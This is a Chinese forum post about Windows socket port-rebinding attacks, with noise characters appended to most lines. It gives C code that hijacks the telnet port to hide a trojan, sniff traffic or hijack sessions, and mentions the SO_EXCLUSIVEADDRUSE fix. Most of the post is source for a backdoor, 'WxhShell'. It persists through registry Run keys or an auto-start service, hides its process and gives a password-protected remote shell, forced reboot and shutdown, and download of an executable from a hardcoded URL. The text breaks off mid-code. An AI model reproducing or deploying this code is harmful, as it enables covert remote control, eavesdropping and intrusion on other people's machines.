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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uf&N[M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KzQ3.)/q  
3~#h|?  
  saddr.sin_family = AF_INET; ` \A(9u*  
a {ab*tM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }^(}HBT  
,j5&6X=1M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l$hJE;n  
S1U@UC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zm,@]!wI  
"k Te2iS  
  这意味着什么?意味着可以进行如下的攻击: D3c2^r $Z  
V)P&Zw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "@9? QI}  
<9sO  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) F,5r9^,_  
[TCP-bU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $'pNp B#vH  
Va$Pi19 O  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -8N|xQ378  
hd 0 'u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pZyQY+O  
Jl "mL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n8hRaNHl2  
y ?G_y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E\u#t$  
.`CZUKG  
  #include R<x'l=,D(  
  #include e:AHVep j{  
  #include {s3z"OV  
  #include    8UkKU_Uso  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0R0{t=VJZ  
  int main() LB/C-n.`  
  { K 0hu:1l)  
  WORD wVersionRequested;  mA7m  
  DWORD ret; kcDyuM`  
  WSADATA wsaData; 1&:@  
  BOOL val; % },Pe  
  SOCKADDR_IN saddr; 7E!7"2e a  
  SOCKADDR_IN scaddr; O@iu aeEW  
  int err; VzJ5.mRQ  
  SOCKET s; U4G}DCU  
  SOCKET sc; al+ #y)+  
  int caddsize; i!~'M;S  
  HANDLE mt; ""svDfy$  
  DWORD tid;   s6o>m*{  
  wVersionRequested = MAKEWORD( 2, 2 );  M/z}p  
  err = WSAStartup( wVersionRequested, &wsaData ); 8z5# ]u;  
  if ( err != 0 ) { 3gQPKBpc  
  printf("error!WSAStartup failed!\n"); Vpp;\  
  return -1; ^2 ]LV6I  
  } W9oAjO NE  
  saddr.sin_family = AF_INET; 1 qi@uYDug  
   iRi{$.pVJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tvd0R$5}  
vEQ<A<[Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?GBkqQ  
  saddr.sin_port = htons(23); Z2"? &pKV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U1_&gy @y  
  { 6x=YQwn~  
  printf("error!socket failed!\n"); a,7 &"  
  return -1; XR0O;JN  
  } S-+M;@'Rl  
  val = TRUE; gK|R =J  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AnZclqtb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B}d.#G+_$x  
  { bAr` E  
  printf("error!setsockopt failed!\n"); D5?phyC[Z  
  return -1; I?Q+9Rmm`J  
  } S=3^Q;V/1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zhB">j8j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (cv!Y=]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D=RU`?L  
3 ?&h^UX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  BGzI  
  { *5,c Rz  
  ret=GetLastError(); hnWo|! ,O$  
  printf("error!bind failed!\n"); sCl$f7"  
  return -1; &W }<:WH~  
  } ^6p'YYj"5  
  listen(s,2); ~2 u\  
  while(1) mDFlz1J,e  
  { Ri>?KrQF%  
  caddsize = sizeof(scaddr); `:M^8SYrL  
  //接受连接请求 +rWZ|&r%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G%# 05jH  
  if(sc!=INVALID_SOCKET) TOLl@p]lU  
  { d77r9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -v?hqWMp#  
  if(mt==NULL) # fhEc;t  
  { ^%y`u1ab  
  printf("Thread Creat Failed!\n"); {F|48P;J  
  break; .I$}KE)  
  } H;WY!X$x  
  } ezTZnutZ  
  CloseHandle(mt); G[idN3+#  
  } GJ 'spgz  
  closesocket(s); y|_Eu:  
  WSACleanup(); OY"6J@[z  
  return 0; p2x [p  
  }   VF0dE  
  DWORD WINAPI ClientThread(LPVOID lpParam) TJ6#P<M  
  { 59Sw+iZj  
  SOCKET ss = (SOCKET)lpParam; cjULX+h  
  SOCKET sc; ;K:8#XuV  
  unsigned char buf[4096]; %IBL0NQT  
  SOCKADDR_IN saddr; [;O^[Iybf:  
  long num; A[UP"P~u/  
  DWORD val; u@%|k c`  
  DWORD ret; jJwkuh8R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N<z`yV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |sgXh9%x<  
  saddr.sin_family = AF_INET; 5nCu~<uJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bdh(WJh%  
  saddr.sin_port = htons(23); 6-,m}Ce\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PI5j"u UO  
  { wz -)1!  
  printf("error!socket failed!\n"); TF+ l5fv  
  return -1; |kiJ}oy  
  } '4;6u]d)2  
  val = 100; R_D c)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )"O{D`uX  
  { 6&2LWaWMo$  
  ret = GetLastError(); +_HdX w#  
  return -1; k4KHS<n0  
  } C>|@& o1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7y*ZXT]f  
  { /c+)C"  
  ret = GetLastError(); i+M*J#'  
  return -1; SlT*C6f  
  } @Z\2*1y6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y9}8M27vQG  
  { h5@j`{  
  printf("error!socket connect failed!\n"); Ri?\m!o  
  closesocket(sc); g{pQ4jKF  
  closesocket(ss); 6*1$8G`$8,  
  return -1; _py2kjA6  
  } &A50'8B2A  
  while(1) #GqTqHNE<  
  { "2HY5 AE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7S2C/f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +AQDD4bu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2DMrMmLI  
  num = recv(ss,buf,4096,0); WBppKj_M  
  if(num>0) -4L!k'uR  
  send(sc,buf,num,0); RSWcaATZN  
  else if(num==0) fB#XhO  
  break; VTh$a_P>  
  num = recv(sc,buf,4096,0); 5A_4\YpDR  
  if(num>0) }_46y*o8  
  send(ss,buf,num,0); I 8Y*@$h  
  else if(num==0) -Fwh3F 4g  
  break; <Dw]yGK@  
  } 6 `puTL?  
  closesocket(ss); + Oobb-v  
  closesocket(sc); .L;",E  
  return 0 ; c>Z*/>~  
  } ~y\:iL//E  
+*EKR  
U|fTb0fB  
========================================================== , Fytk34  
EZ% .M*?  
下边附上一个代码,,WXhSHELL NoW!xLI  
B/YcSEY;  
========================================================== 3;BvnD7  
VbxAd 2')  
#include "stdafx.h" YQ,tt<CQ  
By)3*<5a_  
#include <stdio.h> ]O@"\_}  
#include <string.h> +0#JnqH"  
#include <windows.h> Hql5oA  
#include <winsock2.h> `facFt[\  
#include <winsvc.h> {fG|_+tl3o  
#include <urlmon.h> aV|k}H{wt  
Ku%6$C!,  
#pragma comment (lib, "Ws2_32.lib") 3&J&^O  
#pragma comment (lib, "urlmon.lib") ?6:cNdN  
q`loOm=y  
#define MAX_USER   100 // 最大客户端连接数 :Ee?K  
#define BUF_SOCK   200 // sock buffer Q#rt<S1zW  
#define KEY_BUFF   255 // 输入 buffer IrO +5w  
k46gY7y,9  
#define REBOOT     0   // 重启 9.Ap~Ay.  
#define SHUTDOWN   1   // 关机 Kx]> fHK  
A +!sD5d  
#define DEF_PORT   5000 // 监听端口 Gc5VQ^]  
IvSn>o  
#define REG_LEN     16   // 注册表键长度 0(TvQ{  
#define SVC_LEN     80   // NT服务名长度 7s]Wq6  
]%XK)[:5_=  
// 从dll定义API ^('cbl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G `Izf1B`I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |9]PtgQv7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nu. (viQ}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -931'W[s,  
|e"/Mf[  
// wxhshell配置信息 OWV/kz5'H  
struct WSCFG { +v1-.z  
  int ws_port;         // 监听端口 Dm4B  
  char ws_passstr[REG_LEN]; // 口令 F^sw0 .b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 97x%2.\:  
  char ws_regname[REG_LEN]; // 注册表键名 ;tN4HiN  
  char ws_svcname[REG_LEN]; // 服务名  [`bZ5*&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RO(iHR3cA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t,?,F4 j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zi3T~:0p:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sf5]=F-w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Hd*Fc=>"Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QE6El'S  
|B|@GF?:  
}; pU DO7Q]  
BA`:miH<  
// default Wxhshell configuration UG=I~{L  
struct WSCFG wscfg={DEF_PORT, #L1>dHhat  
    "xuhuanlingzhe", ,9UCb$mh  
    1, zn[QvY  
    "Wxhshell", .P%ym~S  
    "Wxhshell", zW)gC9_|m-  
            "WxhShell Service", :tlE`BIp  
    "Wrsky Windows CmdShell Service", @{bb'q['@  
    "Please Input Your Password: ", )BlJ|M  
  1, *zSxG[s  
  "http://www.wrsky.com/wxhshell.exe", 3*2I$e!Jt  
  "Wxhshell.exe" GRQ_+K  
    }; n>T:2PQ3  
|Pf(J;'[  
// 消息定义模块 D@5s8xv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; THr8o V5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c'~[!,[b<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]F_r6*<  
char *msg_ws_ext="\n\rExit."; :Fo4O'UC  
char *msg_ws_end="\n\rQuit."; E4i@|jE~)  
char *msg_ws_boot="\n\rReboot..."; -4%]QS  
char *msg_ws_poff="\n\rShutdown..."; /THNP 8.  
char *msg_ws_down="\n\rSave to "; wVQdUtmk  
CnQg*+  
char *msg_ws_err="\n\rErr!"; W1<.OO\J  
char *msg_ws_ok="\n\rOK!"; ?to1rFrU  
(qj,GmcS  
char ExeFile[MAX_PATH]; Dx0O'uwR  
int nUser = 0; - &NQ\W  
HANDLE handles[MAX_USER]; !3QRzkJX~  
int OsIsNt; c G*(C  
5Fr;  
SERVICE_STATUS       serviceStatus; 1M=   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3~:0?Zuq  
t,1in4sN  
// 函数声明 Q-jf8A]  
int Install(void); \"J?@  
int Uninstall(void); Gb?g,>C  
int DownloadFile(char *sURL, SOCKET wsh); uX98iJ  
int Boot(int flag); P!9;} &  
void HideProc(void); $59nu7yr  
int GetOsVer(void); }!=gP.Zu^  
int Wxhshell(SOCKET wsl); {Wa~}1`Kl  
void TalkWithClient(void *cs); +q l  
int CmdShell(SOCKET sock); Z/n3aYM  
int StartFromService(void); [Ek42%  
int StartWxhshell(LPSTR lpCmdLine); quY "  
n{L:MT9TD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lD-V9   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k=ts&9\  
/M]eZ~QKD  
// 数据结构和表定义 sK`< kbj  
SERVICE_TABLE_ENTRY DispatchTable[] = %`eJ66T  
{ F G3Sk!O6  
{wscfg.ws_svcname, NTServiceMain}, ,zD_% ox  
{NULL, NULL} :b <KX%g  
}; xl3zy~;M  
D{Oq\*  
// 自我安装 V0s,f .a  
int Install(void) &0JK38(  
{ Y+5"uq<'  
  char svExeFile[MAX_PATH]; _HLC>pH~#  
  HKEY key; Rnzqw,q  
  strcpy(svExeFile,ExeFile); B(8mH  
UKOFT6|  
// 如果是win9x系统,修改注册表设为自启动 +8^5C,V  
if(!OsIsNt) { 5St`@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &ad Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gA{'Q\  
  RegCloseKey(key); ka!Bmv)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C`3V=BB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LSSW.Oz2L  
  RegCloseKey(key); z;[gEA+I  
  return 0; L 43`^;u  
    } !O 4<I_EY{  
  } n}0za#G  
} is9}ePC7Xu  
else { r)OO&. P@j  
(=`Z0)=  
// 如果是NT以上系统,安装为系统服务 qw5&Y$((  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W=UqX{-j)  
if (schSCManager!=0) ^Wif!u/HM  
{ ;*W=c   
  SC_HANDLE schService = CreateService OI*ZVD)J  
  ( H_Iim[v#  
  schSCManager, 5dqQws-,?1  
  wscfg.ws_svcname, 8^8>qSD1  
  wscfg.ws_svcdisp, qw|JJ  
  SERVICE_ALL_ACCESS, tCX9:2c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -MDO Zz\  
  SERVICE_AUTO_START, kkT3 wP  
  SERVICE_ERROR_NORMAL, /8=:qIJYA  
  svExeFile, m5)EQE}gPp  
  NULL, 3R'.}^RN  
  NULL, qZXyi'(d  
  NULL, zIP[R):3&U  
  NULL, P`p6J8}4  
  NULL bo&\3  
  ); {,i=>%X*  
  if (schService!=0) C%0<1 mp  
  { y!SF/i?Py  
  CloseServiceHandle(schService); r@olC7&  
  CloseServiceHandle(schSCManager); T~s&)wD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }iD$4\ L  
  strcat(svExeFile,wscfg.ws_svcname); GhtbQM1[H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JOJh,8C) 6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XpR.rq$]  
  RegCloseKey(key); c/b%T  
  return 0; zpbcmQB*  
    } tp#Z@5=  
  } ok%EqO  
  CloseServiceHandle(schSCManager); MJ1W*'9</W  
} ==nYe { 2  
} wu;7NatHx  
giaD9$C  
return 1; sk~za  
} *4-r`k|@>/  
sP9^ IP  
// 自我卸载 7X(rLd 6#  
int Uninstall(void) #D= tX  
{ EfFj!)fz  
  HKEY key; NR ;q`Xe-  
A * a{  
if(!OsIsNt) { 2_Pz^L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [&1iF1)4  
  RegDeleteValue(key,wscfg.ws_regname); !O~}, pp  
  RegCloseKey(key); 8rGl&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {`+bW"9  
  RegDeleteValue(key,wscfg.ws_regname); A,3@j@bdy  
  RegCloseKey(key); 9@( O\xr  
  return 0; uG2Xkj  
  } ARmu{cL  
} hm*Th  
} $eK8GMxZ#  
else { J f\Qf  
<+<)xwOQ ]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lO551Y^  
if (schSCManager!=0) UVc>i9,0  
{ sXSj OUI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [Xs}FJ  
  if (schService!=0) 7J0 ^N7"o  
  { Coga-: 2vu  
  if(DeleteService(schService)!=0) { yonJd  
  CloseServiceHandle(schService); aw %>YrJ  
  CloseServiceHandle(schSCManager); QV`X?m  
  return 0; eA~J4k_  
  } K{, W_ ^  
  CloseServiceHandle(schService); "g x5XW&  
  } gcX5Q^`a=  
  CloseServiceHandle(schSCManager); TvQWdX=  
} d 8xk&za  
} :jZ*,d%1={  
7'-)/Pk  
return 1; Iu)L3_+  
} _ pY   
+ #|'|}j  
// 从指定url下载文件 ;6DR .2}?>  
int DownloadFile(char *sURL, SOCKET wsh) M /n[&  
{ ~z\pI|DQ  
  HRESULT hr; B=Xnv*e  
char seps[]= "/"; wlm3~B\64  
char *token; /IGrp.}  
char *file; p +u{W"I`  
char myURL[MAX_PATH]; M \ :"~XW  
char myFILE[MAX_PATH]; ] +}:VaeA  
VFe-#"0ZO  
strcpy(myURL,sURL); +}Qv6s#  
  token=strtok(myURL,seps); {%]NpFg#b  
  while(token!=NULL) {. s]\C  
  { K?z*3^^X;  
    file=token; u+%)JhIp  
  token=strtok(NULL,seps); B ]|5?QP-  
  } XS}Zq4H  
(Q}PeKM?jq  
GetCurrentDirectory(MAX_PATH,myFILE); H=JP3ID>{  
strcat(myFILE, "\\"); 0!3!?E <  
strcat(myFILE, file); Da9*/  
  send(wsh,myFILE,strlen(myFILE),0); / e~  
send(wsh,"...",3,0); n`FQgC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B| $\/xO  
  if(hr==S_OK) H @3$1h&YS  
return 0; '0\0SL  
else 5pNvzw  
return 1; OlD7-c2L]  
Ktg&G<%J0  
} 5*G8W\ $  
Y;a6:>D%cT  
// 系统电源模块 pHI%jHHJ  
int Boot(int flag) :vn0|7W4  
{ UQC'(>.}  
  HANDLE hToken; w\0Oz?N  
  TOKEN_PRIVILEGES tkp; *>}McvtTw  
asm[-IB2u  
  if(OsIsNt) { \GjXsR*b5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,Ut!u)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UD Iac;vT  
    tkp.PrivilegeCount = 1; -~rr<D\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &5kjjQ*HB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zJB+C=]D7H  
if(flag==REBOOT) { ,g<>`={kK+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M]8eW  
  return 0; |-SI(Khjk  
} jzu l{'g  
else { B}TInI%H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) = y,yQO  
  return 0; C%x(`S^/  
} a=}">=]7  
  } x|~D(zo  
  else { `Cb<KAaCH  
if(flag==REBOOT) { K8Kz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;-<<1Jz/2  
  return 0; 1xFhhncf  
} e!:?_z."  
else { .@x"JI> ;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'vf,T4uQ"  
  return 0; ,M+h9_&0?  
} S7\|/h:4  
} nU">> 1!U  
d-A%ZAkE]  
return 1; >mGGJvTx  
} `Tm8TZd66  
tyG nG0GK  
// win9x进程隐藏模块 ^{6UAT~!R  
void HideProc(void) l*m]2"n]  
{ sKE*AGFL d  
*y[~kWI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \8C*O{w  
  if ( hKernel != NULL ) ]0/~6f  
  { +Qb2LR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]UpHD.Of[t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4n.i<K8K[  
    FreeLibrary(hKernel); lHj7O &+  
  } 9X^-)G>  
a3E*%G  
return; epY;1,; >  
} b`;b}ug  
a#^4xy:  
// 获取操作系统版本 `OF ;>u*:  
int GetOsVer(void) K{[Fa,]'  
{ >Y*iy  
  OSVERSIONINFO winfo; !O%f)v?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @Tj  6!v  
  GetVersionEx(&winfo); XQ|j5]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QdG?"Bdt2  
  return 1; X\^3,k."  
  else H$($l<G9C  
  return 0; ={&TeMMA  
} `[W)6OUCx}  
U:5*i  
// 客户端句柄模块 !&`7  
int Wxhshell(SOCKET wsl) |[n|=ORI'  
{ ="[+6X  
  SOCKET wsh; BYA=M*f  
  struct sockaddr_in client; ;R- z3C  
  DWORD myID; A~~| X  
brhJ&|QDE  
  while(nUser<MAX_USER) HWao3Lz  
{ 5kL#V  
  int nSize=sizeof(client); `A}{ I}xq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eJwii  
  if(wsh==INVALID_SOCKET) return 1; ^Qb!k/$3y  
*rMN,B@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <?`e9o  
if(handles[nUser]==0) qo&SJDG  
  closesocket(wsh); h 19.b:JT  
else ",,qFM!  
  nUser++; B#/~U`t*  
  } "N[gMp6U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xBx?>nN  
f"}14V  
  return 0; d'eM(4R@  
} b ffml  
>Gu>T\jpe.  
// 关闭 socket d ;Gm{g#  
void CloseIt(SOCKET wsh) !z&seG]@  
{ EXM/>PG  
closesocket(wsh); eVbh$cIrZ  
nUser--; :-jP8X  
ExitThread(0); eC1c`@C:  
} EPUJa~4  
[7t0[U~3?  
// 客户端请求句柄 <a/ZOuBzZ  
void TalkWithClient(void *cs) ;{)@ghD  
{ :WKyEt!3  
~'YSVx& )  
  SOCKET wsh=(SOCKET)cs; I7-PF?  
  char pwd[SVC_LEN]; w `9GygS  
  char cmd[KEY_BUFF]; t6U+a\-<  
char chr[1]; 98%a)s)(a  
int i,j; Q,LWZw~"  
'&L   
  while (nUser < MAX_USER) { f>JzG,-  
0i1?S6]d-  
if(wscfg.ws_passstr) { XzRWY\x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ovRCF(Og,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <k8rSx n{  
  //ZeroMemory(pwd,KEY_BUFF); ]KII?{ <k  
      i=0; u*YuU%H=  
  while(i<SVC_LEN) { L bK1CGyA  
K {N;k-  
  // 设置超时 hQRc,d6x5  
  fd_set FdRead; r?{LQWP>e  
  struct timeval TimeOut; qb/!;U_  
  FD_ZERO(&FdRead); Y&:\s8C  
  FD_SET(wsh,&FdRead); } jy7,+  
  TimeOut.tv_sec=8; Iw-6Z+ 94  
  TimeOut.tv_usec=0; %4g4 C#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hD~/6bx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !P3tTL!*L  
kJ:5msKwC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (TK cSVR  
  pwd=chr[0]; G37L 9IG-M  
  if(chr[0]==0xd || chr[0]==0xa) { ^rZ+H@p:6  
  pwd=0; J'&? =|  
  break; ^|axtVhMO  
  } X=RmCc$:  
  i++; 78}%{7YY  
    } =:T:9Y_i  
,PtR^" Mf4  
  // 如果是非法用户,关闭 socket Czl 8Q oH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (IWd?,H,n  
} e @MCumc~+  
X!'Xx8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Y?yGq/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZX RN?b  
S%%qn  
while(1) { Vf2! 0  
8XXTN@&,  
  ZeroMemory(cmd,KEY_BUFF); -^%"w  
RB 0j!H:  
      // 自动支持客户端 telnet标准   = ~R3*GN  
  j=0; "e?#c<p7  
  while(j<KEY_BUFF) { lIT2 AFX+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p~y 4q4  
  cmd[j]=chr[0]; yOm6HA``hT  
  if(chr[0]==0xa || chr[0]==0xd) { k$m X81  
  cmd[j]=0; _J#Hq 'K  
  break; aQ3vG08L>  
  } iw6M3g#  
  j++; +c2>j8e6  
    } 5_T>HHR 6  
2/NWWoKw  
  // 下载文件 -CNv=vj 3  
  if(strstr(cmd,"http://")) { S 2` ;7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7 @Qlp$[F  
  if(DownloadFile(cmd,wsh)) CHSD 8D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l`G:@}P>G  
  else -x5bdC(d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;:YjgZ:+Q]  
  } T{kwy3  
  else { B#lj8I^|  
DD3yl\#,  
    switch(cmd[0]) { Fgq*3t  
  $e,!fB;B  
  // 帮助 jWjK-q@Y  
  case '?': { }|,\ ?7,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KPK!'4,cu  
    break; 3om7LqcRo  
  } biuo.OG]  
  // 安装 RB@gSHOc?  
  case 'i': { MA QY/s~F  
    if(Install()) ^Rh~+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:+^[rer j  
    else U/l ra&P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y'":OW#oN  
    break; DdW8~yI&  
    } IWd*"\L  
  // 卸载 %&S]cEw  
  case 'r': { 0|k[Wha#  
    if(Uninstall()) /9gMcn9EB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JVCgYY({KQ  
    else !I  P*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s_+XSH[=f  
    break; ~d8o,.n`1  
    } PhdL@Mr  
  // 显示 wxhshell 所在路径 @Kb~!y@G  
  case 'p': { }tq9 /\  
    char svExeFile[MAX_PATH]; rkXSy g b  
    strcpy(svExeFile,"\n\r"); 3hjwwLKG$  
      strcat(svExeFile,ExeFile); _)\,6| #  
        send(wsh,svExeFile,strlen(svExeFile),0); ;0{*V5A  
    break; KPrxw }P  
    } f4^_FK&  
  // 重启 `{;&Qcg6m  
  case 'b': { IKj1{nZvDc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'KrkC A  
    if(Boot(REBOOT)) WWs>@lCK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LB0=V0|  
    else { <T9m.:l  
    closesocket(wsh); e6a8ad  
    ExitThread(0); 7]53GGNO  
    } |bUmkw  
    break; z<XS"4l?W  
    } NsK>UJ'  
  // 关机 nr6U> KR^  
